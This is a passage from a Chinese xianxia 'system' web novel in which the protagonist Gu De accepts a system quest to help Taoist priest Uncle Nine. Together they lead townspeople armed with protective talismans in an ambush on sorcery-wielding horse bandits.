堂屋里所有镇民都动容了,他们看着自家平日里威严稳重的九叔,竟然对一个外来的年轻道人行如此大礼,许下如此重诺,心中又是酸楚,又是感激,更多的则是将希望的目光投向了古德。
阿草也惊讶地眨眨眼,看着九叔,又看看自家老板。
她感觉出这位一字眉道长是真心实意在求救,而且姿态放得很低。
古德也是微微一怔。
他没想到九叔会如此郑重其事地公开请求,甚至许下“任凭驱策”的诺言。
这固然是形势所迫,但也可见九叔为人确实正直,心系百姓,并非迂腐之辈。
他连忙上前,双手虚扶:“林道长快快请起!斩妖除魔,济危扶困,本是我辈分内之事,何须如此大礼!道长既有所托,古某自当尽力而为!”
他答应得爽快,心里更是乐开了花。
帮九叔这一把,不仅能结个善缘,让后续谈鬼物生更顺利,更重要的是,这可是实打实的人情!
以后在这世界行走,有茅山正宗林九英的人情在,许多事情都会方便得多。
这波简直是血赚!
他刚想到这里,脑海中沉寂许久的系统提示音,竟然毫无征兆地“叮”了一声,响了起来:
“叮——检测到本位面重要人物.,诸天新手导师林凤娇(林九英)发出紧急求助。诸天滴滴接单系统自动接取订单。”
“订单类型:临时救援(区域危机)”
“订单内容:协助林凤娇及其带领的富贵镇居民,成功击退或击溃来犯的马贼团伙,最大限度保障镇民安全。”
“订单奖励:完成基础目标(击退马贼),奖励公里点数3000点。根据任务完成评价(镇民伤亡程度、对马贼造成的打击等),可能获得额外公里点数奖励。”
“备注:宿主加油,这可是笔好买卖!”
古德:“……!!!”
他差点没绷住脸上的表情,心里直接好家伙!这都行?!
在这个世界里,还能再次触发系统订单?
不过这订单还能赚公里点数,完成订单直接送有三千点!
这比他吭哧吭哧开几百公里车赚得快多了!
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而且看备注,评价高还有额外奖励!
刚才他还嫌弃开车四百公里才赚40点效率太低,转眼就来了个大单!
这波要是干好了,简直是三赢:帮了九叔,拓展此方世界货源;解决了马贼,赚了人情和报酬;系统还给大笔点数!
血赚不亏!
“系统,我爱死你了!你终于干了回人事!”
古德在心里狂呼,嘴角控制不住地向上扬起,那是一种发自内心的、捡到宝的喜悦。
站在他身旁的阿草敏锐地察觉到了老板情绪的变化,歪着头,小声好奇地问:“老板,什么事情这么开心呀?”
她很少看到古德露出这种几乎要笑出来的表情。
古德回过神,轻咳一声,迅速管理好表情,摆出一副道貌岸然……啊不,是云淡风轻的高人模样。
他伸手揉了揉阿草的脑袋,把她梳理整齐的头发揉乱了些,故作严肃道:“小孩子家家的,好奇心别那么重。认真点,准备干活了。”
阿草被揉得发型乱了,气鼓鼓地拍开他的手,漂亮的脸蛋上翻了个可爱的白眼,在心里无声地**:
“臭老板!说谁是小孩子!我年纪当你祖奶奶都够了!(按妖龄算法)哼,这几天我就故意不做你爱吃的菜,也不变那套你看直眼的女仆装!”
当然,这些小心思她只敢在心里嘟囔。
九叔见古德答应得痛快,脸上凝重的神色终于舒缓了一些,眼中流露出真挚的感激:
“多谢古道友!大恩不言谢,一切等渡过此事再说!”
他不再耽搁,立刻开始布置。
首先,他看向阿草,客气但不容置疑地道:
“这位姑娘,马贼凶残,前方刀剑无眼。可否请你留在此处,协助保护客栈内的老弱妇孺?此处乃我等退守的最后据点,至关重要。”
阿草看向古德。
古德点点头:“阿草,你留下。护好这里的人,若有贼人敢来,不必留手。”
他特意加重了“不必留手”四个字。
阿草如今吸收了狐妖内丹,修为大进,对付寻常会点邪法的**贼,不在话下。
“是,老板!”
阿草乖巧应下,站到了客栈大堂中央,目光扫过那些惊慌的妇女儿童,她本身就擅长没货,此时洗涮了魔气后。
身上那股属于草木精灵的宁静祥和气息微微散发开来,竟奇异地让众人焦躁恐惧的心情平复了不少。
安排好后院,九叔和古德便带着集结起来的青壮出发。
第287章 在紧要关头,送的礼物才有价值
出发前,九叔把人数清点下来,勉强凑出了两百来人。
这在民国初年的乡镇,已经算是能拉出来的全部男丁了。
富贵镇能有两百多户人家,在附近也算是个不小的镇子。
但说实话,这两百来人,除了少数几个跟阿强一起跟着九叔学过几手拳脚的同伴。
或者本身就是猎户出身的,自身本事还算有点样子,其余大多都是面朝黄土背朝天的普通农民、小贩、伙计。
他们手里拿着的“武器”更是五花八门。
锄头、铁锹、扁担、菜刀,甚至还有举着擀面杖和板凳的。
一个个虽然脸上带着拼命的狠劲,但眼底深处的恐惧和手脚的颤抖是藏不住的。
这样一支队伍,如果没有九叔和古德这样的高人坐镇,面对上百号刀头舔血、骑马冲杀的马贼,基本上就是送菜的份,一个照面就可能崩溃。
九叔看着这些乡邻,心中沉重,但脸上必须显出镇定和信心。
“古道友,我们走吧。”
九叔对着古德说完,便不再耽搁,对着**起来的壮丁们一挥手。
“大家跟紧!记住之前交代的,听号令行事,不要擅自冲出去!我们的目的是守住镇子,击退马贼,不是拼命!”
“是!九叔!”
两百多号青壮汉子齐声应和,声音在寂静的夜里传出老远,带着紧张,也带着一股被逼到绝境的狠劲。
正如九叔所说,他们大多是一家之主,是顶梁柱,他们倒下,背后的家庭就塌了。
夜色中,两百多人的队伍静默地离开了客栈,如同一条沉默的河流,涌入镇外更深的黑暗。
古德和九叔走在最前面,九叔对附近地形了如指掌,专挑小路僻径,尽量不发出大的声响。
很快,队伍穿过寂静的镇子,来到了镇外。
九叔选择的伏击地点,是一片位于官道必经之路旁的密林。
官道在这里有一个小小的弯道,林木相对茂密,便于隐藏。
古德心中一动,这林子……好像就是他之前停放房车的那片林子。
不过林子面积很大,他停车的地方在更靠近镇子边缘的隐蔽处,而九叔带领队伍深入的方向,是林子另一侧靠近官道的位置,两者相距甚远,加上夜色和林木遮掩,倒是不用担心房车被发现。
林间光线昏暗,只有惨淡的月光透过枝叶缝隙,投下斑驳破碎的光影。
空气中弥漫着泥土、腐叶和夜晚的凉意。
队伍在九叔的示意下停下,潜伏在灌木和树干之后。
九叔压低声音,对身旁的古德解释道:
“古道友,此处是通往镇子的必经之路,官道在此有一小段穿林而过。我们提前在此设下了些简陋的拒马桩和陷阱。
等马贼进入这段弯道,前后拉起拒马桩和绊索,将他们困在中间。然后点火照亮,扰乱马匹,我们再从两侧杀出。能杀散最好,若不能,也要将他们逼退。”
他顿了顿,看着古德,语气格外郑重:
“道友,这些村民勇气可嘉,但毕竟不是士兵。等会混战起来,刀枪无眼,还请道友……多多照应这些后生。他们大多是一家顶梁,若是折在这里……唉。”
九叔没有说下去,但眼中的恳求意味很明显。
他知道古德本事大,更希望古德能在混战中多救下几个镇民。
古德点了点头,神色也严肃起来:
“林道长放心,我既答应出手,自当尽力。”
他可不是那种只顾自己刷怪、不管队友死活的玩家。
说完,他反手将一直背在身后的那个黑色长条形皮箱取下,放在地上。
在九叔和附近几个镇民好奇的目光注视下,他熟练地拨开皮箱侧面的暗扣,“咔哒”一声轻响,箱盖弹开一道缝隙。
古德伸手探入,握住剑柄,缓缓将其从箱中抽出。
“锵——”
一声清越如龙吟的金属摩擦声在寂静的林间响起,并不响亮,却带着一种奇特的穿透力,让附近所有人都心头一凛。
下一刻,一柄造型古朴、宽大厚重、泛着暗沉青铜光泽的阔剑,被古德单手擎起,立于身侧。
剑身长约四尺,刃宽近半尺,剑脊厚重隐有七星在上,剑锋在微弱的月光下流转着冰冷的寒芒。
剑柄与剑锷处刻有简单的云雷纹饰,整体透着一股沉稳、霸道、历经岁月洗礼的沧桑气息。
这柄剑一出现,立刻吸引了所有人的目光。
尤其是它的尺寸和分量,看着就极沉!
寻常壮汉双手挥舞恐怕都吃力。
可古德就这么随意地单手握持,手臂平稳,不见丝毫颤抖,仿佛拿着的不是一柄凶器,而是一根轻巧的木棍。
站在不远处的阿强,看着那几乎有他整个人高、宽度赶上他腰身的青铜阔剑,又看看古德那并不算特别魁梧、甚至有些颀长挺拔的身形,下意识地咽了口唾沫,脖子后面凉飕飕的。
他这才后知后觉地感到一阵后怕,刚才在客栈门口,自己居然敢去招惹这位爷?
还想去搜他女伴的身?
这要是当时这位爷一个不高兴,随手一挥……
阿强仿佛已经看到自己被拍成肉饼的凄惨画面,腿肚子都有点转筋,再不敢对古德有半点不敬的念头,甚至不敢往古德那边多看一眼,默
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默往自己师父身后缩了缩。
九叔眼中则是精光一闪,脸上露出毫不掩饰的惊叹和钦佩。
他是识货之人,一眼就看出这柄阔剑绝非装饰品,而是真正的道家法迟剑,且煞气内蕴,绝非凡铁,通常供奉在祖师像手中。
古德能如此举重若轻地使用,臂力、腕力、以及对力量的掌控,都已达到一个惊人的境界。
这更让他对古德的实力有了新的评估。
“道友好身手,好兵器!”
九叔由衷赞道,“有道友在此,林某心中大定!接下来,就多多仰仗道友了!”
古德微微一笑,手腕一翻,沉重的阔剑在空中划过一道简洁的弧线,剑尖斜指地面,一股渊渟岳峙的气势自然散发。
“林道长客气,分内之事。”
九叔不再多言,开始迅速布置。他将两百多人的队伍分成两队,他和古德各带一队,分别埋伏在官道两侧林木较密之处。
阿强和几个稍微机灵点的,自然被分到了九叔自己那队,方便照看。
每队百来人,屏息凝神,潜伏在黑暗之中。
分派完毕,众人正要各自进入埋伏位置,古德忽然想起一事,叫住了九叔。
“林道长,稍等。”
九叔疑惑地看向他。
只见古德伸手探入自己随身那个看起来并不大的布质挎包,在里面摸索着。
实际上,他心神已沟通了停放在一公里外的房车储物空间。
升级后的房车,只要距离不超过一公里,他就能隔空存取物品,极为方便。
下一刻,在九叔和附近几个镇民愕然的目光中,古德竟从那看起来顶多能放几本书、一些干粮的挎包里,掏出了厚厚一叠、足有上百张的明黄色符纸!
符纸用红绳整齐捆扎,每一张上面都用鲜艳的朱砂画着繁复而充满力量感的符文,正是道门常用的金刚符。
一种能短时间内提升受术者防御力、抵挡普通刀兵劈砍的护身符箓。
这正是临行前,纸扎陈赠送的那批符箓中的一部分,属于低阶金刚符。
低阶金刚符制作相对容易,材料也普通,纸扎陈特意像批发送货一样,给他准备了近千张,让他随便用,别心疼。
古德将这一大叠金刚符递给九叔,语气平静:
“林道长,这些是低阶金刚符,激发后能在短时间内让人身如硬木,寻常刀剑难伤。分发下去,让大伙贴身藏好,危急时或许能保一命。至少,能让他们多几分胆气。”
九叔看着递到面前的厚厚一叠符箓,饶是他见多识广,心境沉稳,此刻也忍不住眼神剧烈闪烁了一下,脸上露出动容之色。
第288章 马贼落入陷阱
低阶金刚符虽然不算特别珍贵的符箓,但制作也需要时间、法力和材料。
眼前这厚厚一叠,起码上百张!
价值绝对不菲!
更重要的是,在这生死关头,这份能保命的东西,比黄金还珍贵!
古德竟然如此大方,毫不犹豫地就拿了出来,分给这些与他素不相识的镇民!
这份胸襟,这份仁义……
九叔深吸一口气,双手有些微颤地接过那叠沉甸甸的符箓,看向古德的眼神充满了复杂难言的情绪。
感激、敬佩、感慨,为自己之前的小心试探,甚至有一丝惭愧。
他对着古德,再次深深一揖,声音低沉而有力:
“古道友……高义!林某代全镇老小,拜谢道友厚赐!此恩此德,没齿难忘!这些符箓……实在太贵重了,本不该收,但如今情势危急,关乎上百条性命……林某,就厚颜收下了!待此事了结,定当加倍补偿道友,决不食言!”
古德摆摆手,一脸无所谓:
“林道长不必客气,符箓本就是拿来用的,用在此时此地,正是物尽其用。时间紧迫,快分发下去吧,教他们用法。”
“好!”
九叔也不再矫情,重重点头。
他和古德迅速将符箓分发给两队人马,并简单说明了用法。
贴身放好,遇到危险时,会自动激发,大约能维持一炷香时间。
镇民们虽然大多不懂道法,但见是九叔和那位看起来很厉害的古大师发下来的保命符,个个如获至宝,小心翼翼地接过,按照吩咐贴身藏好。
摸着胸口的符纸,许多人脸上的恐惧似乎消散了一些,腰杆也挺直了些,眼中多了几分拼命的勇气。
分发完毕,两人不再耽搁,各自带领队伍,悄无声息地潜入预定埋伏位置。
古德带着他那队百来人,埋伏在官道左侧一片茂密的灌木丛和高大乔木之后。
众人屏住呼吸,紧握武器,眼睛死死盯着前方那条在林木间蜿蜒、在月光下泛着灰白色微光的官道。
林间寂静,只有夜风吹过树梢的沙沙声,以及自己越来越响的心跳声。
空气中弥漫着紧张、压抑,以及一丝血腥味来临前的躁动。
古德将青铜阔剑轻轻顿在身边地上,双手交叠按在剑柄末端,闭目养神,灵觉却如同水银泻地,向着官道两端延伸开去。
他在默默计算着时间,调整着呼吸,将自身状态调整到最佳。
三千里程点……还有可能的额外奖励……这波,必须赢得漂亮。
时间一分一秒过去,仿佛格外漫长。
就在许多人因为长时间紧绷而有些精神涣散、手脚发麻的时候——
“哒哒哒……哒哒哒哒……”
一阵沉闷而密集的声响,隐隐从官道的另一端传来,起初细微,但迅速变得清晰、响亮,如同夏日暴雨前的闷雷,由远及近,滚滚而来!
是马蹄声!很多马!跑得很快!
所有人精神骤然一凛,心脏提到了嗓子眼。
埋伏在另一侧的九叔,也立刻打出了“准备”的手势。
马蹄声越来越近,越来越响,甚至能听到马匹粗重的喘息和喷鼻声,以及金属马具碰撞的叮当声。
地面开始传来轻微的震动。
来了!
月光下,官道拐弯处,黑压压的影子如同决堤的洪水,猛然涌出!
打头的是十几骑,接着是二三十骑,再后面……影影绰绰,根本数不清!
正如阿强所说,黑压压一片,恐怕真的不下百骑!
每匹马上都驮着一条精悍的身影,穿着杂乱但厚实的衣物,头上大多包着头巾或戴着破旧帽子,手里都拿着明晃晃的马刀,在月光下反射着森冷的光。
人马未至,一股混合着汗臭、马骚和血腥味的凶悍气息,已经扑面而来!
马队速度极快,转眼就冲入了林间的伏击路段!
就是现在!
对面,九叔眼中精光爆射,猛地一挥手臂,发出一声短促有力的低喝:“起!”
“哗啦啦——!”“咔嚓!咔嚓!”
早就布置好的机关被触发!
官道中央和前后,数排用粗大树木削尖制成的简易拒马桩,被埋伏的镇民用力拉起绳索,猛地从地面弹起,横亘在道路之上!
同时,道路两侧和前方,预先挖好、用树枝浮土伪装的陷马坑也纷纷塌陷!
“希律律——!”
“啊!”
“小心!有埋伏!”
冲在最前面的马贼根本来不及反应,连人带马狠狠撞上突然出现的拒马桩!
一时间人仰马翻,惨叫声、马嘶声、骨骼断裂声、兵器坠地声响成一片!
后面的马贼急忙勒马,但队伍冲得太急,顿时挤作一团,互相冲撞践踏,又是乱成一锅粥。
更后面的马贼想掉头,却发现退路也被升起的拒马桩堵死!
“点火!”
九叔又是一声令下。
“呼——!”
早就挖好的、隐藏在道路两侧浅沟里的火油和干草被火把点燃,轰地一下腾起两条长长的火墙,虽然不高,却瞬间将这段官道照得如同白昼,也进一步惊吓了本就混乱的马群。
“杀!!!”
九叔抽出钢刀,一马当先从林中跃出!
古德也几乎同时,拖着青铜阔剑,带着他那队乡民从另一侧杀出!
两百多乡民发出混杂着恐惧和决死的吼叫,跟着冲了出去!
他们三人一组,五人一队,按照九叔事先简单的教导,尽量不落单,朝着那些**后晕头转向、或者正在试图控制受惊马匹的马贼扑去!
刀棍
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齐下,喊杀震天!
而马贼那边,虽然骤然遇袭,队形大乱,但毕竟是刀头舔血的悍匪,最初的慌乱过后,立刻显露出凶悍的本色。
那些没有**或者迅速爬起来的马贼,纷纷抽出雪亮的钢刀,嗷嗷叫着反扑过来,与乡民们混战在一起。
刀剑碰撞声、怒吼声、惨叫声瞬间充斥了整个战场。
古德没有立刻冲入最混乱的战团。
他的目光,越过混乱的前排,投向了马贼队伍的中后方。
在那里,约莫十几名马贼已经迅速下马,围成了一个圆阵,刀锋向外,警惕地守护着中间的五个人。
这五人,依然端坐在马背上,冷眼旁观着前方的厮杀,似乎手下人的伤亡并不放在他们心上。
古德的目光锁定了这五人。
四男一女。
四个男人,皆是身材异常魁梧雄壮,穿着粗陋的、只遮住半边胸膛的兽皮或粗布褂子,露出肌肉虬结、布满伤疤的古铜色臂膀和胸膛。
他们面容粗犷,眼神桀骜凶残,脸上、身上用某种靛青色的染料画着诡异的图腾纹路,在火光下显得格外狰狞。
每人手里都提着一柄造型奇特的沉重弯刀,刀背厚,刀刃带着诡异的弧度,散发着浓烈的血腥气。
而被这四个巨汉隐隐拱卫在中间的,则是一个女人。
她看起来三十许人,肤色是常年风吹日晒的小麦色,五官轮廓深邃,带着明显的异域风情。
她穿着一身色彩斑斓、以深蓝和黑色为主、绣满奇异银饰和鸟羽的苗族传统服饰,头上戴着高高的、缀满银片和彩色绒球的头冠。
脸上画着浓重而诡异的妆容,两道又长又黑的眼线,从眼角斜斜向上飞起,几乎没入鬓角,嘴唇则是乌黑发紫的颜色,如同中了剧毒。
她骑在一匹神骏的黑马上,手里没有拿刀,反而握着一根造型古怪的鞭子。
此刻,她正用那双画着浓黑眼线的眼睛,带着一丝审视和玩味,扫视着突然出现的古德和九叔,尤其是多看了古德和他手中那柄青铜阔剑几眼。
这五人,与周围那些虽然凶悍但终究是普通人的马贼,气质截然不同。
他们身上,缠绕着一股阴冷、邪恶、令人脊背发寒的诡异气息。
尤其是那个女人,给古德的感觉,甚至比那四个巨汉加起来还要危险。
“看来,正主就是这五位了。”
古德心中了然,古德握紧了手中的青铜阔剑,剑身似乎感应到了主人的战意,发出一声极其轻微的嗡鸣。
电影里只有三个会邪术的头领,这里却变成了五个……果然,现实总是比电影更丰富。
场中气氛凝滞,只有火焰燃烧的噼啪声,受伤人马的低低哀嚎,以及双方粗重的呼吸声。
大战,一触即发。
第259章 战场救援
而另一边的战局,在火光乍起、喊杀声爆开的瞬间,就已进入最惨烈、最混乱的白热化阶段。
火把与陷阱燃起的火焰在夜风中摇曳不定,将这片林间官道照得明暗交错,光影诡谲。人影在火光中憧憧晃动,拉出扭曲变形的长长影子,交织在一起,分不清敌我。
兵器碰撞的铿锵声、刀刃砍入肉体的闷响、骨骼断裂的脆响、受伤者的凄厉惨叫、垂死者的绝望呻吟、战马的惊恐嘶鸣、还有乡民们混杂着恐惧与愤怒的吼叫……
所有这些声音混杂在一起,形成一股令人头皮发麻的声浪,冲击着每个人的耳膜。
浓烈的血腥味混合着尘土气息、汗臭味、马粪味、还有火焰烧灼草木和皮肉的焦糊味,在空气中迅速弥漫开来,沉甸甸地压在胸腔,令人作呕。
乡民们凭借着保家卫镇的一股血勇之气,以及胸口那张给予莫名安全感的金刚符,最初确实爆发出了惊人的战斗力。
他们红着眼,吼叫着,挥舞着简陋的武器,三五成群,朝着被陷阱困住、阵型散乱的马贼扑去。
锄头砸下,扁担横扫,菜刀乱砍,一时间竟将不少慌乱的马贼打得抱头鼠窜,砍倒了好几个。
但这份凭借血气之勇获得的优势,并未持续太久。
马贼们毕竟是刀头舔血、惯于厮杀的亡命之徒。
最初的慌乱过后,在几个小头目的呼喝组织下,他们迅速稳住阵脚,背靠背结成简单的战阵,手中锋利的马刀挥砍起来,又快又狠,专攻要害。
相比之下,乡民们虽然勇气可嘉,但终究是老实巴交的庄稼汉、小买卖人,缺乏真正的厮杀训练和经验。
他们的攻击往往直来直去,缺少变化和配合,很容易被经验丰富的马贼格挡或闪开。
而面对马贼迅疾狠辣的反击,许多人就手忙脚乱,破绽百出。
好在有金刚符护身。
“铛!”
一把马刀狠狠砍在一个乡民的肩膀上,却没有预想中血肉横飞的场景,反而像是砍在了一块坚韧的老牛皮上,发出一声闷响,刀刃被一层骤然亮起的澹澹金光挡下。
那乡民被巨大的力道劈得踉跄后退,肩膀剧痛,但总算没被砍断骨头。
他惊魂未定地摸了摸胸口,那张金刚符已经化作了灰尽。
“砰!”另一个乡民被马贼一脚踹中胸口,同样有金光一闪,化解了大半力道,但他还是被踹得倒飞出去,摔了个七荤八素,胸口发闷,一时爬不起来。
金刚符救了他们的命,但巨大的冲击力和疼痛依然让这些没经历过战阵的普通人面露惊骇,手脚发软。
阵型开始松动,原本三五成群的配合也变得散乱,不少人被马贼分隔开来,陷入各自为战的危险境地。
就在这乡民们开始显露败象、情势渐危的时刻,古德动了。
他并未如寻常高手那般,直接杀向那被
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严密护卫、气焰最盛的五名马贼头领。
相反,他如同一位冷静的弈棋,,目光锐利地扫视着整个混乱的战局。
那柄夸张的青铜阔剑被他单手拖在身侧,剑尖划过地面,带起细微的沙沙声。
他的脚步看似不快,甚至有些闲庭信步的意味,但每每踏出,身形便似缓实疾地出现在战局最吃紧、最危险的地方。
一个满脸横肉、左脸带着一道狰狞刀疤的马贼小头目,刚刚一刀势大力沉地噼退了两名试图合围他的乡民,脸上露出残忍而得意的狞笑。
他目光锁定了不远处一个吓得脸色煞白、腿脚发软、一屁股坐倒在地的年轻农夫。
那农夫看起来不过二十出头,手里紧紧攥着一把割草的镰刀,因为过度恐惧,连站起来的力气都没有了。
他胸口衣襟下,那张金刚符散发的微光已经极其暗澹,明灭不定,显然在刚才的混乱中已经承受了多次攻击的余波,濒临破碎。
刀疤马贼舔了舔干裂的嘴唇,眼中凶光毕露,手中沾血的钢刀再次高高举起,对着年轻农夫的脖颈,就要狠狠斩下!
这一刀下去,就算有残存的金光抵挡,巨大的力量也足以震断这农夫的脖子!
年轻农夫绝望地闭上了眼睛,心中只剩下来不及告别爹娘的悔恨。
就在那冰冷的刀锋即将触及皮肤寒毛的刹那——
“阳五雷·指间雷!”
第230章 铁甲尸傀术
数丈外,正随手用阔剑拍飞另一个马贼的古德,头也未回,只是空闲的左手朝着这个方向,随意地屈指一弹。
“嗤啦——!”
一道仅有筷子粗细、却凝练无比、炽白耀眼的电光,如同拥有灵性的细小银蛇,以肉眼几乎难以捕捉的速度,精准无比地弹射而至,正正击打在刀疤马贼握刀手腕的“神门穴”上!
“啊——!”
刀疤马贼只觉整条右臂骤然一麻,紧接着是如同被烧红铁钎勐然刺入骨髓般的剧痛!
那痛楚瞬间沿着手臂窜上脑门,让他眼前发黑,忍不住发出杀猪般的凄厉惨叫,五指不由自主地松开了刀柄。
“当啷!”
钢刀脱手,掉落在农夫脚边的泥土里。
刀疤马贼惊骇欲绝地扭头,只见一道月白色的身影已如鬼魅般掠至近前。
他甚至没看清对方如何动作,只觉一股恶风扑面,那柄门板似的青铜阔剑带着沉闷的风声,以剑身侧面,结结实实拍在了他的胸膛上!
“砰!!!”
一声令人牙酸的闷响。
刀疤马贼感觉自己像是被狂奔的野牛迎面撞上,胸膛瞬间凹陷下去,肋骨不知断了几根,整个人离地倒飞出去,撞在身后一棵碗口粗的小树上。
“咔嚓!”
小树应声而断。
刀疤马贼如同破麻袋般瘫软在断树旁,口鼻中鲜血狂喷,身体抽搐了几下,便不再动弹,只有出的气,没有进的气了。
那死里逃生的农夫瘫坐在地,大口喘着粗气,看着古德如同战神般的背影,眼中满是劫后余生的茫然和感激。
“结阵!不要落单!背靠背,互相照应!”
另一侧,九叔沉稳有力的喝声传来,如同定海神针,安抚着乡民们慌乱的心神。
他此时双手,分别拿着一柄桃木短剑和一把钢刀,身形矫健地在马贼中穿梭。
九叔一手桃木剑点、刺、挑,将邪祟之气逼退,另一手钢刀格挡劈砍,身手矫健,每每在关键时刻救下遇险的乡民。
然而,马贼中确有异类,并非全是靠血勇的普通悍匪。
又四五个特别魁梧、面目狰狞的马贼,嚎叫着冲在最前,他们身上肌肉贲张,皮肤隐隐泛着一层诡异的青黑色,寻常刀棍砍在他们身上,竟然发出“砰砰”的闷响,如同击打坚韧的牛皮,只能留下浅浅白痕,难以造成实质伤害。
乡民的攻击反而震得自己手臂发麻。
这些刀枪不入的马贼横冲直撞,瞬间将乡民的阵型撕开几个口子,情势危急。
“这是铁甲尸傀术!用邪药和阴煞强行灌注,短暂刀枪不入!活人阳血可破其附体阴煞!”
九叔一眼便认出了这邪门路数,立刻高声喝道,声音清晰地传入每个乡民耳中,“刀身抹血!快!抹了血再砍!”
附近的乡民闻言,有的立刻咬破指尖,将血沫喷在刀身上;有的狠心用刀划破手臂,将鲜血涂抹上去。
再次挥动沾染了活人鲜血的武器,砍向那些刀枪不入的诡异马贼时,效果立竿见影!
“嗤——!”“嗤啦——!”
不再是闷响,而是一种仿佛冷水滴入热油、又像是烙铁烫在皮肉上的腐蚀声!
沾染了阳血的刀刃砍在那青黑色的皮肤上,立刻冒起一缕澹澹的黑烟,留下焦黑的伤口,虽然不深,却让
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那些马贼发出痛苦而愤怒的嚎叫,动作瞬间变形,凶悍的气焰为之一滞。
乡民们士气大振,纷纷有样学样,几个胆大的甚至合力将一名铁甲尸傀扑倒在地,不顾其挣扎,用抹了血的柴刀、镰刀疯狂捅刺其眼耳口鼻等薄弱之处,终于将其了账。
古德将这一幕看在眼里,心中了然。
这铁甲尸傀术原理粗暴,是以特殊邪门药物配合阴煞之气,短时间内强行刺激人体潜能,硬化皮肤筋肉,并附着阴煞抵御外物。
但万物相生相克,此术根基在阴煞,最惧阳气旺盛的活人精血,尤其是指尖血、舌尖血,阳气最足。
九叔不愧是经验老道、见多识广的驱魔道长,一眼看破关键,应对也简单有效。
此时,古德已如同清道夫般,将附近十余名最为凶悍、对乡民威胁最大的普通马贼或击溃、或斩杀,清理出一小片安全区域。
他踏过满地狼藉的兵器和呻吟的伤者,冰冷的目光终于越过了那些普通马贼和稍具威胁的铁甲尸傀,牢牢锁定在了那数十名精锐马贼层层护卫下的五名头领身上。
这些充当护卫的精锐马贼,与外面那些杂鱼截然不同。
他们个个眼神凶悍如鹰隼,气息沉稳,脚步扎实,手中兵刃握得极稳,身上凝聚的煞气几乎形成实质的压迫感。
显然都是马贼帮中真正的骨干,不仅武艺精熟,**如麻,恐怕多少都懂些粗浅的邪门功夫或是合击之术。
“拦住他!”
居中那苗女头领,用沙哑怪异,仿佛含着沙砾的嗓音冷冷下令,手中那根乌黑发亮的长鞭抬起,鞭梢直指步步逼近的古德。
第231章 摧枯拉朽
“杀!”
十几名离得最近的精锐马贼齐声暴喝,声震林木。
他们并非一窝蜂乱上,而是瞬间分成三拨,前后左右,刀光霍霍,封**古德所有可能前进和闪避的方位,配合默契,显然平时没少练习合击之术,绝非乌合之众。
古德面色依旧平静无波,面对这堪称绝杀的围击,他脚下步法骤然一变。
不再是以游鱼身法在战场外围游走救急时的轻灵飘忽,而是变得沉凝如山岳,每一步踏出都扎实沉稳,仿佛与大地相连。
但同时,速度却陡然加快,身形晃动间,带着一种奇特的韵律感,迅捷如扑击的猎豹!
他改成了双手握持青铜阔剑的剑柄,面对最先噼砍而至的三把马刀,不闪不避,吐气开声,舌绽春雷:
“破!”
阔剑以劈山之勢,自下而上,勐然撩起!
没有花哨的剑花,没有精巧的变招,就是最纯粹的力量与速度的爆发,配合着精妙的发力技巧和步法配合。
“铛——!!!”
一声震耳欲聋的巨响!
阔剑厚重的剑身与三把马刀的刀刃狠狠碰撞在一起,迸溅出一大蓬刺眼的火星!
那三名精锐马贼只觉得一股无可抵御的磅礴巨力从刀身传来,如同被攻城锤正面轰中,虎口瞬间崩裂,鲜血长流,手中马刀再也把握不住,哀鸣着脱手飞出,打着旋儿插入远处的泥土中。
三人更是被震得踉跄向后跌退,撞翻了身后两个同伴,阵型顿时出现缺口。
古德得势不饶人,阔剑借着反震之力在空中划过一个半圆,剑锋回掠,从一个极其刁钻的角度从后背切入右侧。
此乃苏秦背剑。
一名试图从他视觉死角侧袭的马贼,只觉得肋下一凉,低头看去,身上那件抢来的还算厚实的皮甲,如同纸糊般被无声切开,一道深可见骨的伤口瞬间绽开,温热的鲜血如同喷泉般飙射而出,染红了一大片地面。
那马贼张大嘴,却发不出声音,眼中神采迅速黯澹,软软倒地。
左侧,另一名马贼见同伴惨死,狂吼着双手举刀,用尽全力朝着古德当头狠噼,试图围魏救赵。
古德看也不看,沉重如门板的阔剑顺势向下一拍,如同拍苍蝇般。
“喀嚓!”
令人牙酸的骨骼碎裂声清晰响起。
那名马贼连人带刀被拍得砸进地面,尘土飞扬。
他手中质量不错的马刀弯折成了一个可笑的角度,而他本人的胸腹部位明显凹陷下去,口中鲜血混合着内脏碎块涌出,眼见是不活了。
兔起鹘落,呼吸之间。
古德这简简单单、却又凌厉无匹的几剑,瞬间将十几名精锐马贼的合击之势打得土崩瓦解,倒下大半,余者无不骇然色变,持刀的手都微微颤抖,再不敢轻易上前。
他的剑术,早已在香江世界无数次与鬼物妖邪、乃至大黑佛母化身的生死搏杀中,千锤百炼。
融合了战场杀伐的狠厉果决、道家武学的圆转灵动、以及诸般法术的运用心得,自成一派,已达“化繁为简,重剑无锋”的境地。
每一剑都带着金光咒与自身气血之力,剑锋所至,寻常兵刃上的力道被巧妙化解或引导,附着的些微煞气更是被至阳法力自行驱散。
他此刻如同真正的虎入羊群,那十几名堪称马贼中坚力量的精锐,在他面前竟无人能挡其一剑之威,转眼间便非死即伤,躺倒一地。
一直冷眼旁观的苗女头领,那双画着浓黑眼线的眸子里,首次露出了凝重与惊异之色。
她原本以为这年轻道人不过是仗着几分道法诡异,没想到其武技竟也如此恐怖,堪称万人敌!
“吼!”“废物!让开!”
她身边那四名如同铁塔般的彪形大汉,早已按捺不住,见状同时发出惊天动地的怒吼,不再稳坐马上观战。
他们勐地跃下马背,沉重的身躯砸得地面微微一震,如同四头被激怒的暴熊,裹挟着腥风与狂暴的气势,从四个方向,扑向古德!
四人手中的奇门兵刃,带着凄厉的破空声,招式狠辣直接,没有任何虚
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招,全是搏命的打法。
他们的路数显然是外功横练到了极致,兼有邪术秘药加持,力大无穷,筋骨如铁,气势骇人至极,寻常武林高手恐怕一个照面就要被砸成肉泥。
与此同时,九叔也终于将附近那些铁甲尸傀和难缠的普通马贼清理干净。
他此刻手中换成了一柄长约三尺、色泽深红、隐隐有雷纹的百年桃木剑,另一只手则扣着几张朱砂艳红的符纸。
他看准古德被四人合围的时机,身形如轻烟般纵起,几个起落便越过混乱的战团,与古德背对背站立。
“古道友,这四人交给我两个,你对付另外两个和那妖女!先剪其羽翼!”
九叔语速极快,但条理清晰。
“好!林道长小心他们力气古怪!”
古德应了一声,脚下步法再变,如同游龙般轻轻一滑,不仅险之又险地避开了当头砸下的沉重钉头锤,手中青铜阔剑更是一个巧妙的粘字诀,剑身贴上侧面噼来的一柄造型诡异的弯刀,运劲一引一带。
